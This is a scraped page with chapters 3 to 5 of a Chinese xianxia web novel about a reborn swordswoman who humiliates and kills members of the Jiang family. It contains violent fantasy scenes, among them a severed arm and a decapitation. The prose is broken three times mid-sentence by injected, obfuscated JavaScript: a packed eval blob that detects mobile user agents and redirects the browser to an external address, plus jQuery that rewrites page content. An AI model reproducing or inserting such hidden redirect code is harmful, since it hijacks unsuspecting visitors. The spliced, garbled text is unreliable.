《我真不想当魔头的师妹》 3. 第 3 章 溪骨正殿。 “这拂尘山声名不显,大殿倒是气派。”姜耀儿背着手,从左转到右边,眯眼盯着殿上的浮雕和符纹看了又看,还伸手摸了摸:“就是待人处事实在差了些,这么久了,都没个人出来迎接。” “换个角度想,自然也是她这个所谓的三师姐不受宗门重视。”姜慕儿笑了起来:“她那种性格,难道这世上真的会有人喜欢?说起来,我倒是真的很好奇,这个拂尘山收人也不挑一挑的吗?连虞觅这种五脉皆无之人也要?” 姜耀儿左看右看,还放出灵息探了探,硬是没感觉到半个人的存在,原本被漆黑耸立的溪骨正殿震慑住的性子重新轻挑放纵起来,嘻嘻哈哈地用两只手在嘴边圈了个圆:“有人吗——没人吗——都死了吗 ——哈哈哈哈——” 哈哈哈的肆意回声在正殿回荡,虞花暖翻书的声音也越来越响,越来越快。 快到裴云阙忍不住停下脚步,回头看了她一眼:“你在看什么?” 虞花暖正好看完最后一页,面无表情地合上书:“在看怎么表奏上陈,恭请藏山广慈隆运神武剑尊为我降下一剑,把姜家人全劈了。” 裴云阙嗤笑一声,冷飕飕道:“藏山剑尊百年前闭关,今日才刚刚传出将要出关的消息,你倒是消息灵通。不过,你以为你是谁,还能请剑尊为你出手?” 虞花暖眸光微动:“闭关百年,今日出关?” “你在剑宗长大,却对此事一无所知?”裴云阙睨她一眼:“百年前,宝梵仙宫有妖女叛道堕魔,惑乱道统,是剑尊以身涉陷,大义灭亲,手刃妖徒,此后闭关百年。你家也算是剑道世家,难道你从未持剑?你爹从未向你提及?剑宗未设学堂,而你也从未听课?” 虞花暖静静听完,皮笑肉不笑道:“裴大人也知道的,我在家五谷不勤,手不提剑,实在是被娇惯成了一个废物,否则也不能让姜家人这么轻易就夺去了一切。那日若非裴大人相救,此刻恐怕已经成了孤魂野鬼,无处可去。” 裴云阙一噎。 过去从来都是他故意提及此事,以此相挟虞觅为他所用。虞觅最恨面对自己的过去,常常一脸淡淡的死感,却又不敢反抗。 这还是头一次,她自己以这样满不在乎的神色主动提及。 短短片刻,这种好像哪里变了的感觉,已经是第二次了。 他才要再说什么,虞花暖已经越过了他,与他擦肩,向前方的溪骨正殿走去。 虞花暖在愤怒,在巨大的荒谬中燃烧。 在缓慢地于心中咀嚼并拆碎谢烛雪这三个字。 她死,他闭关。 她活,他出关。 如今距离她身死,竟然已经过去了百年。 她刚才翻的书是《灵蕴九境与十二众术要诀》,乃是六尘大陆所有修士在通灵见祟后都要学习的一册修行启蒙基础,上面笼统地概述了何为修行所需要的灵息,何谓五灵脉,如何聚灵蕴于体,又怎样感知和选择自己的命印,于世间十二众术中找到最适合自己的那一支。 这书虞花暖看得太早,又太基础,已经忘了大半。翻看是想要找找,有没有那一种众术适合此刻没了五灵脉的自己。 结果却看到,百年过去,这书竟也翻新了版本,在十二众术【止戈】一道的名录下,赫然多了一项【借剑】,而借剑请神、表奏请陈的对象,竟然正是谢烛雪! 她身败名裂,百年漂泊,凄风冷雨,孤魂野鬼。 他呢? 他从藏山仙尊,尊号加身,将她所有的功德揽尽,变成了如今的藏山广慈隆运神武剑尊。 剑尊。 剑……尊? 抢了她的剑,杀了她的人,如今也敢称尊,甚至成了天下剑宗和剑修的庇护,凡出剑,都先要向他表奏请陈,俨然半神之姿。 他谢烛雪……敢碰她的剑吗?会用剑吗? 他也配?! 也敢?! 虞花暖冷笑一声,一步踏进溪骨正殿。 “哪来的狗在乱叫?”她音色很甜,却带着十足的冷意和讥嘲:“姜家已经穷到没钱买狗链了吗?” 姜耀儿的笑声戛然而止。 所有人都转头看向了大殿门口。 距离他们上一次见虞觅,已经过去了大半年,抑或更久的时间。 久到他们几乎没能认出来,门口站在光影之下神色淡却冷冽的紫衣少女,和那时倒在血泊之中狼狈如同一滩烂泥的,是同一个人。 姜耀儿眯眼,片刻,阴恻恻笑了起来:“虞觅?还真是你。见到继爹继娘,还不过来行礼?” 过去的虞觅定然会被这样的话语触怒,可紫衣少女却轻飘飘掠过他,径直向前方高位而去。 虞花暖在所有人惊诧的眼神中施施然揽裙坐下,这才居高临下扫了一眼过来:“如若我没有记错,梅洱剑宗以宗主剑印为尊。现在,你们可以来拜我了。” “宗主剑印”四个字一出,在场所有人的脸色顿时一变,哪里还记得旁的事情。 无他,虞闻澜死后,宗主剑印便失传了,任他们将整个梅洱剑宗都掘地三尺,也没找到半点影子。 此事一直是姜家人最大的心结。 如今梅洱剑宗已经完全处于他们的操控之下,可只要一日不掌握宗主剑印,哪怕传承几代,他们也永远都是名不正言不顺之流。 “剑印果然在你那里?!”姜耀儿眉梢上挑,死死盯着她:“我折磨了你娘这么久,她都咬死了不知道剑印的下落,我就知道她是装疯,是想要包庇……” 他的话语被姜慕儿冷冷打断:“别听这个小贱人信口雌黄,我将她的五灵脉都剜了,也没见哪里有剑印,定是她在这里唬我们的!难道还有人能挨过剜脉之痛而不开口?” “可万一真的在她那里呢?!”一道细细的传音逼进姜慕儿的耳中,正是一并前来的姜家三长老,三长老不动声色地观察着上首的虞花暖:“以你我对虞觅的了解,她像是能在说谎后这么沉得住气的人吗?又或者说,便是此前没有,是后来这拂尘山为她寻来了剑印呢?” 姜慕儿断然否决:“绝无可能,以如今梅洱剑宗在西陵的地位,拂尘山又是什么东西,也敢和我们梅洱剑宗作对?敢抢我们想要的东西?” “别管他们敢不敢,我且问你,承脉大会在即,你赌得起吗?” 姜慕儿一窒。 若无剑印,便无法承脉于己派,就算是得到再多的许诺,争抢到了再多的灵脉,也无法标记灵脉。同样,若无灵脉,姜家后辈便没有足够的修炼资源,长此以往,不出三代,姜家与剑宗必败。 这些日子以来,姜慕儿为了这事愁得昼夜难昧,然而昔日剑宗旧人几乎都被她以各种手段葬送在了妖瘴之中,温苒也已经神志不清,她竟然无人可逼问。 却没想到,峰回路转,今日她本是为了另一事而来,却没想到从虞觅嘴里听到了宗主剑印四个字! 她可以不信虞觅的话。 但正如三长老所说,她赌不起。 姜慕儿脸上阴晴不定,盯着虞觅的眼神也愈发凶戾。 姜家三长老修为已至五境,以虞觅的情况,是决计不可能听到他们的传音入密的。 可当神魂过分强大,所有的窃窃私语和传音入密就会被轻风托送而来,巨细无遗地灌入她的耳中。 虞花暖笑眯眯地向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099085|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前倾身:“诸位,想清楚了吗?半死不活过一次后,我的耐心也变得不太好了,可不要让我等太久。” “你说剑印在你那儿,你倒是拿出来给我们看看。”姜慕儿咬牙道:“否则我们凭什么相信你?” 虞花暖挑眉:“相信我?不,我不需要你相信我,也不需要向你证明。毕竟剑印对我来说毫无用处,哪天若是心情不好,一个错手,捏碎便也碎了,说送人,也就送人了。” 姜慕儿尖声道:“你敢?!” “其实不用这么麻烦,有一个最简单的办法。”三长老蓦然开口,沉声道:“剑宗之剑,不可攻击持剑印之人。我境界高你许多,我向你出一剑,若你毫发无伤,不闪不避,一切自然明了。” 虞花暖慢慢眨眼,终于坐直了身体,敛了脸上的笑:“这倒是个好办法。只是如若我当真不闪不避,三长老也当付出一些代价。这世上总不能有人胆敢向宗主剑印出剑,还毫发无伤,全身而退吧?” 三长老还在沉吟,却听姜耀儿已经大笑起来:“她怎么可能敢?三长老,依我看,今日也不必你出手,不如我来。若是她真敢不避不让,我今日便在这里自断一臂!至于你虞觅,若你接不下这一剑,你反正也是死路一条,小爷我宽宏大量,定会记得给你收尸。” 姜慕儿心底莫名一抖,和三长老对了一个眼神,才要说什么,上首的紫衣少女却已经站起了身,抚掌赞道:“如此甚好,一言为定。” 溪骨大殿穹高且深,似是有一只眼睛从高不可见之处冷漠而观。然而这样幽深的震慑之意却并不能阻挡姜耀儿的狂妄狞笑和握剑。 不过是一个母亲都沦为了他的玩物、自己也被剜了五灵脉的废人罢了,也敢在这里对他姜耀儿大放厥词? “六尘敕令,万神临降!梅洱剑宗姜耀儿,上请藏山广慈隆运神武剑尊,借我一剑!剑临!” 长剑出鞘,剑光泠泠,搅动一殿三清之气。 三长老抬了抬手指,想要拦下姜耀儿,却又终究也存了试探的心。 裴云阙脸色微变,一双桃花眼中光芒潋滟,片刻,到底向着虞花暖的方向张开了五指,释放出了一丝三清之气。 大殿之外,一道伶仃纤细的身影跌跌撞撞奔来,头发披散,鞋子也丢了一只,极细却尖的声音破空而至:“阿觅——!不要伤害我的孩子——” 而剑风毫无停顿,依旧凌厉如瀑,带着势在必得之意,扑面而来。 虞花暖负手而立,冷冷看着持剑狞笑向前姜耀儿,淡淡吐出两个字:“不借。” 霎时间,剑停风顿,烟消云散。 那一剑,停在她面前三寸,甚至不能掀起她的发丝和衣袂。 赌对了。 虞花暖掀起一抹轻笑。 满殿俱寂。 没有人知道究竟发生了什么,只有穹顶之上的那只眼睛轻轻眨了一瞬,似是玩味,似是赞许。 宝梵仙宫,藏山之上。 刚刚出关的白衣仙尊倏而睁眼,看向一侧被密密麻麻的符箓法印层叠封住的长剑。 那一个刹那,在他的感知里,无垢剑好像第一次拒绝了有人的借力之请。 罢了,如此灵剑,便是有自己的神智都不奇怪,有自己的脾性和喜恶,也不是什么坏事。 谢烛雪重新闭眼,抚平心底那一瞬莫名的惊悸。 千万里之外,虞花暖抬手,在姜耀儿满面的不可置信和惊惧之中,轻巧地卸了他的剑,扬手一抛,恰好落在了刚刚踉跄踏入大殿的女子面前。 一声铮然清脆。 “如果你愿意,”虞花暖看向那道孱弱人影:“那就捡起这柄剑,砍了他的手。” 4.第 4 章 那道人影似是怔住了。 光倾泻而下,照不入大殿,却恰笼在那道人影上,拉出了极长极细的影子,几乎要蜿蜒到虞花暖脚下。 姜耀儿还陷落于巨大的不可置信中,几乎是麻木地顺着虞花暖的动作回身,看清那道人影的刹那,他这一刻的情绪似是终于有了一个宣泄之处:“温苒,你敢——” 几乎是他出声的同一瞬间,那道人影蓦地动了。 极慢,极轻缓,却毫无停顿。 温苒俯身,纤细颤抖的手指触摸到了那柄剑,然后,在握紧剑柄,提剑起身的刹那,她终于抬起了头。 她似乎已经很久都没有做过抬头的这个动作了,有些僵硬,她甚至没有抬眼,就这样双手提着那柄剑,踩在光与影中,一步一步向前。 姜耀儿眉梢跳动,戾气上涌,他万万没想到温苒的骨头还没有被他踩碎,居然真的敢提他的剑! 他向着温苒的方向抬手,灵息翻涌在掌心,尚未成型,却有什么东西落在了他的上臂。 是一截发钗,半木半铜,钗尾是翠云纹样,钗身有些斑驳,是扔在地上他都不会多看一眼的劣等货色。 但此时此刻,那破烂翠云发钗就这样在他的上臂比划了一下:“从这里砍,刚刚好,你觉得呢?” 她是什么时候靠近自己的?! 他的灵息竟然没有丝毫波动,没有任何感知?! 可明明他已经有四境。 九境之间,每一境的跃升都与此前犹如天壤之别,没道理他感知不到一个三境的逼近! “虞觅,你不要欺人太甚!”姜慕儿终于从此前的震撼中回过神来,怒目看向虞花暖:“就算你手上真的有宗主剑印又如何?我们毕竟是你的长辈,岂可如此无理!难道你真的要他承受断臂之痛?!那可是你的……你的舅舅!” 虞花暖心中作呕,却只轻轻歪头,“咦”了一声:“长辈?什么长辈?我虞觅六亲断绝,举目无亲,什么时候还有长辈存世?我怎么不知道?” 姜慕儿完全没想到她事到如今还能说这种话,竟是顿了一瞬,才尖声道:“你手中有我宗剑印,又让温苒拿剑,难道你还要否认自己是虞觅?!” “我没有否认啊,我的确是虞觅没错,也的确有梅洱剑宗的剑印。但这两件事,有关系吗?”虞花暖顿了顿,疑惑更甚:“而且,从刚才起,我就一直在疑惑一件事。你们口口声声直呼我的名字,请问我……和你们很熟吗?” 姜耀儿被这番强词夺理惊呆了,忍不住回头:“不是,你这话什么意思……” 他话音才起,紧接着,却是一声难掩的惊叫痛呼! 所有人都因为虞花暖的话语分神的瞬息,温苒不知何时已经来到了近前,她整个人几乎都没有气息波动,也没有什么真正活着的情绪,所以她这样面无表情地举剑下劈,直到剑锋吞吐,刺穿肌肤,姜耀儿才感觉到! 温苒没有修行过,是完全的凡体之人,但她到底拥有一个曾是西陵排名前三的大剑师丈夫,这些年来,也曾并肩持剑,哪怕只是夫妻间的嬉戏,她也绝非手不能握之人。 更何况,姜耀儿的这柄剑,本就是温苒亡夫虞闻涧的本命剑。 而她的剑落下时,虞花暖的那枚发钗便已经悄然落在了她的剑背上。 所以姜耀儿只能在嘶哑惨叫中,眼睁睁看着那柄毫无剑意与剑气的剑,在温苒燃烧着血与怒火的目光中,将他的手臂完整地砍落了下来! 另一边,姜慕儿和三长老也已经忍耐到了极致,姜慕儿这一生最是看重这个弟弟,口中厉呼一声,想要起剑,却又转而想起了宗主剑印之事,剑气翻涌又止,竟是气血倒转,逼得自己吐出了一口血! 切口平整的一条手臂落地,血色喷射,虞花暖已经折身向后,十分嫌弃地避开了。 温苒却不避不让,任凭那血浇在自己的头面上,顺着披散的长发流淌下来。 她的面容有些模糊,有些麻木,但她已经不再发抖的手里兀自握着剑,像是准备好了随时再沉默地劈下一剑。 姜耀儿在哀嚎中急急给自己的手臂点了止血诀,眼神中的阴鸷几乎能低出血来:“虞觅,你这个小贱人!很好,你等着,你以为拿着宗主剑印,就可以为所欲为了吗?今日在你这里受的折辱,我定当千百倍奉还在你娘身上。” 他边说,边用残存的那只手一把扯过了温苒带血的头发,几乎是将她拖曳到了自己身前,阴森笑了一声:“你说你不是虞觅,难道你连自己亲娘的命都不顾了吗?” 温苒想要说什么,却被姜耀儿一把扼住了喉咙,只能发出“呃呃”的声音。 虞花暖却看也没看温苒一眼,仿佛完全不在意一般,只是重新扫了一圈殿中众人,神态和语气几乎算得上是和颜悦色:“所以,这么久了,你们还没有说,此番来我拂尘山,到底是为了什么事情?难不成就是为了和我认亲?” 事情闹到这个地步,宗主剑印又疑似在她身上,姜慕儿自然无论如何都无法再说出让她去归云仙宫长老之子的灵位拜堂的话。 ——否则岂不是将整个梅洱剑宗都拱手相让了! 吃亏至此,眼前这个虞觅又明显性情大变,说话颠三倒四,看似句句有回应,却偏偏又滴水不漏,连自己亲娘在面前受到折辱,都能气定神闲视而不见,反而让他们狠狠吃了一亏,让姜耀儿丢了一只手臂。 幸好梅洱剑宗这些年来也并非只有些会剑的止戈,也养了几位医术不凡的雀林,只要足够及时,断臂重接也非难事。 一时半会讨不到好,重续手臂却等不得。姜慕儿恨恨与三长老对视一眼,打算先咽下眼前这口气,回宗门商议一番,再从长计议。 可他们才露出去意,甩袖转身,便听到身后的紫衣少女开口。 “等等。” 众人脚步微顿。 “这个世界上,所有的事情都应该是有代价的。”虞花暖把玩着手里的翠云发钗,淡淡道:“万万没有让你们就这样大摇大摆进了我拂尘山溪骨殿,大闹一场,又拍拍屁股就可以走人的道理。” 姜慕儿怒声道:“你……你还要如何!耀儿都已经付出一条手臂的代价了!” “一条手臂?”虞花暖挑眉,像是听到了什么极有趣的事情。她指了指大殿,又绕着圈了圈周遭:“你们看这里,像是什么很善的地方吗?你们是不是误会了什么?” 明明只有三境,但她这样懒懒散散上前一步,姜慕儿竟然忍不住想要后退。 “诸位或许有所不知,入我拂尘山者,第一个要求便是六亲断绝,与尘无染。”虞花暖眨眨眼,看向他们,沉吟道:“方才你们好像说,是我的继父继母还有……舅舅?我竟然还有没死的亲戚吗?” 姜慕儿翕动嘴唇,欲言又止,竟半晌没能说出半个字来。 “来都来了,就别走了吧。”虞花暖抬起两根手指,在唇前轻轻一吹,笑吟吟轻巧道:“不管是不是,我心里总是有些不安。万一是真的,我岂不是违反了拂尘山规,我可不想被逐出师门。正好,让我来教教你们,什么才是请神借力。” 三长老心头一悚,某种难以言说的预感席卷心头。可在他的感知之中,面前之人的确五脉皆断,区区三境。 三境,怎会让他有如临大敌感? 他还在惊疑不定,虞花暖已经并指向前,随意一指。 “六尘敕令,万神临降。”虞花暖言简意赅:“杀。” 无事发生。 姜慕儿先是被吓了一跳,然后蓦地讥笑出声:“虞觅,你吓唬谁呢?你以为自己是什么东西,一个五脉皆无的残废,还当自己是什么言出法随的九境大宗师吗?说杀还真能越境杀了我们?哈哈哈哈哈——” 她大笑着便要踏出门去,才走一步,却觉得哪里不对。 姜耀儿和三长老都没有发出半点声音,惊恐至极地看着她。 姜慕儿不解:“看我干什么,走啊?” “阿姐,你……”姜耀儿声音颤颤,眼瞳抖动:“你……你只剩下……” 只剩下什么? 姜慕儿顺着他的话语,下意识低头看向自己。 然后,她就发出了一声尖叫。 她、她的身子呢!! 为什么她只剩下一颗头了!! 只剩下一颗头,为什么还能悬在半空,还能说话,还能…… 姜慕儿的思绪戛然而止,那颗突兀浮空的头颅,哐当一声,睁着眼睛掉在了地上。 姜耀儿此生都没有如此害怕过,甚至看着那颗头骨碌碌滚到了自己脚下,都没敢动作一下。 偏偏那道分明曼妙轻盈如银铃,如今却好似恶鬼锁魂般的声音再度响了起来。 “哎呀,怎么只死了一个。” 三长老似是被惊醒,下一刻,五境修为已经全数展开,庇于己身,一手捞着抖得像是筛子的姜耀儿,一手拎着姜慕儿的头颅,如一缕青烟般夺门而出。 逃得如此之快,不过瞬息,已经没了身影。 甚至忘了殿中还有一个提着剑的温苒。 殿门大开,殿外的光终于淌了进来,落在了虞花暖身上。 她的面容被照亮,鼻尖挺翘,唇色潋滟,瞳如点墨,天生笑眼。虽依然苍白瘦削,但这一刻,却如有光华流转,姿容盛极,仿佛独得万神眷顾,让人不敢多看,却又不舍移开视线。 裴云阙一脸复杂地看了虞花暖许久,才开口:“你是怎么做到的?” “忘了告诉你,来的路上,我翻了翻书,顺便命印了【请谒】一道。”虞花暖抬手掩住口鼻,低低咳嗽了几声,眉目间有懒得遮掩的疲惫,话语间却十分随意:“要说怎么做到的,可能是因为诸神皆爱我,所以格外愿意借力予我吧。” 裴云阙张口就要反驳。 开什么玩笑! 且不论于十二众术中择道一事关乎此生道途,本应郑重又神圣,世人无不沐浴焚香,选良辰吉日,慎又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102526|195681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重之。就算真的就这么随便轻松就完成了命印,【请谒】这一道,明明理应日夜侍于神庙之中,向六尘万神诉诸溢美之词,以求诸神借力。 以上种种,俗称马屁精。 马屁拍得越到位,哄得诸神越舒服,诸神愿意抬抬手指,借出一点力就越多,越大。 总之,前提是,你得先去拍马屁啊! 就算拍够了,他裴云阙过去又不是没见过请谒,哪个不是先叩四方,舌灿莲花,洋洋洒洒送上一整篇让人听了都会为之感到脸红的咏颂之词,才能借来那么一点点雷声大雨点小的力的? 哪有虞觅这样轻描淡写的两句话,诸天万神就真的降力把人杀了的! 这简直颠覆了裴云阙过去人生的所有认知。 更重要的是…… 如果虞觅有这种能耐,当初何至于被姜慕儿逼到如此悲惨的境地,又怎会被他的毒药所胁,不得不为他所用,每天死气沉沉地活着? 他满腹疑惑,看虞花暖的目光已经像是在看一个全新的、陌生的人。虞花暖却毫无所觉般,径直走向前,俯身捡起了一样东西。 是姜慕儿留下的。 准确来说,是借神之力毁了她的身躯之时,从她的身体里滑落出来的。 像是一张请帖,入手质感如金箔,金红的贴面被焚去了边角一隅,上面是篆体的“相思”二字,但笔画之中,每一处蜿蜒都像是有金线蛇虫爬行,让人见之皱眉。 更重要的是,不知为何,这东西让虞花暖觉得很熟悉。 那种莫测的、难以用言语描述的幽深感……到底是在哪里见过? 她边想,边翻转过了相思贴的贴面。 然后,眼瞳微缩。 上面所书,竟是虞闻涧和姜慕儿的生辰八字,再一笔一笔,以与正面的相思二字相同的笔触,将生辰八字勾描拖曳,仿佛什么锁魂的困阵,要将两个本不应有交集的人,拽入同一片命运之中。 妖邪之物,却无妖邪之气。 甚至借神之力的一击,都未曾摧毁。 虞花暖拧眉。 仔细想想,虞闻涧生前妻女的爱护有加绝非强装,他与温苒伉俪情深,在原主虞觅的所有记忆里,从来都是一个宽厚温和、备受尊崇之人。可他游历二载归来后,性情大变,几乎抛妻弃女,将自己一手建立的梅洱剑宗拱手相让,对姜家人残害过去长老的事情也视而不见,几乎默许。 可他已是六境的大剑师,一宗之主,在西陵国如日中天,气运加身。能够影响到他命运轨迹、将他原本的姻缘硬生生拆散,再让他的全家人都陷入如今境地的妖邪之物…… 便是她前世认识的几位九境的天命和神符,要做到这个,恐怕都要大费周章。姜慕儿在认识虞闻涧之前,姜家不过是清河坊小门小户的修行人家罢了,又是从哪里得到相思贴的? 等等,清河坊。 她在清河坊,好像还有一位天命旧识。 此事或许可以去问问这位旧交,也正好让那人起起卦,先算算她对此物的熟悉究竟从何而来,再看看她这个借尸还魂到底是怎么个事儿。 而且…… 姜家人,清河坊,相思贴,梅洱剑宗,归云仙宫。 所有这些像是被一条神秘的、看不清晰的线连了起来,然后在冥冥中,递到了她的掌心,想要牵引着她,去往某个方向。 关于她自己,也关乎虞觅未尽的遗愿。 “裴大人可曾见过此物?”她抬手问道。 裴云阙却道:“什么?” “你看不见?”虞花暖反应过来,又见温苒的眼神也是死气沉沉毫无焦距,沉吟更甚,心道难不成这东西非要血亲才能看到? 她将那处处透着诡谲的相思贴扣在掌心,顷刻间在心中已经有了决断:“你之前说过,归云仙宫的情报,也可以换解药?” 裴云阙的目光落在她空荡的手中,想问什么,却又咽了回去,愕然:“……你想干什么?” 虞花暖当然不可能说实话,煞有介事地随口道:“趁姜家人没反应过来,去他们老家杀人放火一番,顺便找一找他们勾结归云仙宫的证据?” 裴云阙被她的措辞搞得沉默片刻,才道:“去一趟倒也无妨,只是近来承脉大会在即,清河坊与归云仙宫离得又近,恐怕不怎么太平。你……” 他本想说以你的本事,去了小心送死,转念又想到了她方才请谒借力的样子,硬生生把到了嘴边的话又咽了回去。 虞花暖却仿佛知道他要说什么,扬眉一笑:“裴大人,生死有命,富贵在我。人不能一辈子都在原地坐以待毙,总要翻过山,向前看的。” 她像是在说给裴云阙,解释自己的性情大变,也像是在说给殿中满身血污,剑身雪亮的另一个人。 “不管怎么说,谢谢你方才想要救我。” 然后,她挥挥手,将方才那枚半木半铜的翠云发钗放在温苒掌心,与她擦身而过,向着殿外而去。 5.第 5 章 命印【请谒】,自然是真的。 方才来的路上,翻书的同时,她早已探清了自己现在的这具身体的情况。 五脉被剜得干干净净,空有三境的修为虚张声势,实则毫无战斗力,偏偏紫府之中还存着许多三清之气,仿佛一个装满了宝藏的空壳。随便把她丢进一个妖瘴里,闻者味儿来的妖祟恐怕会一拥而上,把她吃个干干净净。 既无五脉,那么一切术法都难以动用。 不依靠灵脉,其实可以用剑。但在还没摸清楚情况的时候,她暂时还不太想留下自己的剑意痕迹。 幸好虞觅尚未从十二众术中择道,让她还有一点回旋的余地。 择道对如今的她来说,并不是什么难以抉择的事情。 十二众术几乎囊括了当今天下所有能够修行的途径。 简单来说,喜符箓与卦阵之人,命印【神符】或【灵图】。开脉为金、擅炼器者命印【熔炉】。善医者为【雀林】。喜农桑、开脉为水木之人命印【农稷】。善礼乐、熟读天下书卷者命印【辟雍】。妙笔生辉者可命印【记传】。喜用兵器、善攻者择【止戈】一道。更有【合欢】道习媚术,【赋灵】驱天下万物,【天命】起卦勘命,算无遗策,【请谒】咏颂万神以借力。 十二众术的每一途道术下,还有更详细的道派。这千百年来,也常有惊才绝艳之人自创道派,便如前世的虞花暖,就硬是在【止戈】一道中,搞出了【借剑】和【撼天】两个道派来。 如上种种,细说开来,便是此前虞花暖刷啦啦翻阅的那本厚如砖头的《灵蕴九境与十二众术要诀》。 总而言之,靠虞觅这身体,无论命印什么,都杀不了姜慕儿。 唯独命印【请谒】,请神之时,可以用她的九境神魂沟通天地,绕开五脉,直接降下一击。 可惜三境的躯壳到底容不下九境的神魂,她不过搓出细细一缕用了一瞬,此刻便已经觉得通体痛如雷劈,只够杀一个姜慕儿,还让那三长老得以护得姜慕儿和姜耀儿的神魂离去,没能斩尽杀绝。 但是没关系,一次没杀光,多杀几次也无妨。 姜家上下那么多人,每个人都在虞觅的脊髓上反复碾过,虞觅说杀三个人,那是虞觅的事。她想杀多少人,是她虞花暖的事。 第一次动用请谒的力量,她也不是很熟练,一回生,二回熟。 杀人这事儿和杀妖区别不大,没什么太多的诀窍,唯手熟耳。 她浑身都在疼,步伐却比之前轻快许多。 因为烙印在神魂上的那一点属于原主的沉闷散去些许,无论姜慕儿到底会不会死,今日这般,定会让她虚弱痛苦一段时日。 最重要的是,给了虞觅真正手刃仇人的希望。 至于殿中的温苒……她此刻自身尚且难保,身为卧底,处处都是马脚,断不可再收留她在身边。 她甚至没有再去探究温苒到底有没有被洗去所有的记忆,还记得她几分,又记得过去几分。 因为答案已经没有意义。 既然温苒还有持剑砍人的神智和力气,她已经将她与姜耀儿分开,之后何去何从,还要温苒自己决断。 她也留了那枚翠云发钗给她。 那发钗,是彼时虞闻涧自己做的。木是他初遇温苒时,他险些被绊倒的脚下榆木所制,铜是他寻来锻剑鞘的一小块余料,也是他们二人的定情信物。 岁月流淌,十年瞬息,身为宗主夫人的温苒早就有了数不胜数的名贵首饰,这只做工拙劣的发钗,虽然被她珍而重之地收藏了起来,却也的确再也没有多看一眼。 她也绝不会想到,姜慕儿遍寻而不得的宗主剑印,就藏在这枚破旧的发钗之中。 只是剑印残缺,只有一半,却也足够温苒护身。 方才她也不算胡说,姜家人绝不会善罢甘休,总会卷土重来。 而她,也确实打算去掘一下他们的祖坟,看看这家人背后到底藏着谁。 虞花暖如是想着,衣袂随着她的前行而翻飞,她想得太入神,直至衣袂尾端被两根手指轻轻捻住,才蓦地反应过来。 她下意识想要起剑,手抬起几寸,才想起自己如今的处境。 不待她继续反应,便听一道近在咫尺的声音响了起来。 “入我拂尘山者,第一个要求便是六亲断绝,与尘无染。”少女音色悦耳,还带了几分笑意:“三师姐,这是你新定的门规吗?我怎么不知道?我入门的时候好像还没有这一条呢。方才的三师姐杀人那一招又叫什么,我好喜欢!原来请谒这么厉害!虽然我没有命印请谒,但师姐可以教教我吗?” 她语速飞快,吐字却很清晰,这么长一段话说完,腰间的白绒毛铃铛才响起了一声清脆:“教我怎么让诸天万神更喜欢我,尤其是我们【赋灵】一道的那位灵神,哪怕多看我一眼,我也能再变厉害一点,让我的漂流瓶传得更远一点……最好是让我的漂流瓶也可以杀人!” 这人原主虞觅见过。 因为过去虞觅总是刻意避着所有人,也符合此前那位素未谋面的余觅寡言独居的性子,与拂尘山的一切都交集极少,非必要绝不出门半步,更不必说像今天这样独自踏入溪骨正殿,又要下山了。 但面前这位五师妹白向晚总会准确地出现在每一次她出行的路上,也不管她什么态度,是否回应,都会笑吟吟和她打招呼,再自顾自地噼里啪啦说一大段话。 就像现在这样。 虞花暖静静等她说完,才弯了弯眉眼,道:“门规是我想杀人所以随口胡说的。那一招没什么名字,非要说的话,就是指一指人,说一个‘杀’字罢了,能不能杀掉另说,总之能吓人一大跳。至于师妹你……我觉得,【赋灵】的灵神已经很喜欢你了哦。” 结果白向晚愣愣地看了她好久,才从嘴里挤出来一句话:“……师父,三、三师姐理我了。” 虞花暖笑眯眯看着她:“这话说的,做师姐的,怎么会不理师妹呢?我们师妹又可爱又厉害,师姐一定是过去太忙了,才偶尔没有和你说话,师妹可不要放在心上哦。” 白向晚生得一张漂亮小圆脸,眼也圆圆,鼻头也圆,整张脸钝感十足,看起来毫无攻击性,她当然知道自己长得什么模样,可像是虞花暖这样直白又真诚地当面夸奖她的,她还是第一次遇见。 尤其是在拂尘山这种地方,大家见面都是先攻击对方的薄弱之处,哪会有人夸她! 天哪!她被夸了! 被漂亮温柔笑眯眯还杀人不眨眼的三师姐夸了! 拂尘山!需要这样的师姐! 素来话多的少女竟是难得语塞,旋即难得羞涩,颊边都腾起了红雾,眼睛就愈发亮了起来,正要再说什么,虞花暖已经先开了口。 “不过师妹今日找我,是有什么事情吗?”虞花暖状似不经意般提醒。 “是了,差点忘了!我来找三师姐,的确有要事。”白向晚拍了拍脑门:“刚不小心听到三师姐说要去一趟清河坊和归云仙宫,正好,二师兄去了那边以后,已经两个多月没有音讯了,我的漂流瓶也没找到他的行踪,劳烦三师姐在路上顺便捞一捞他。” 虞花暖细品了一下这个用词:“……捞?” 白向晚连连点头,理所应当道:“活要见人,死要见尸嘛。那边河多水多,指不定必须得要捞一把才能见到。” 她边说,边掏了一样巴掌大小的东西出来:“总之, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 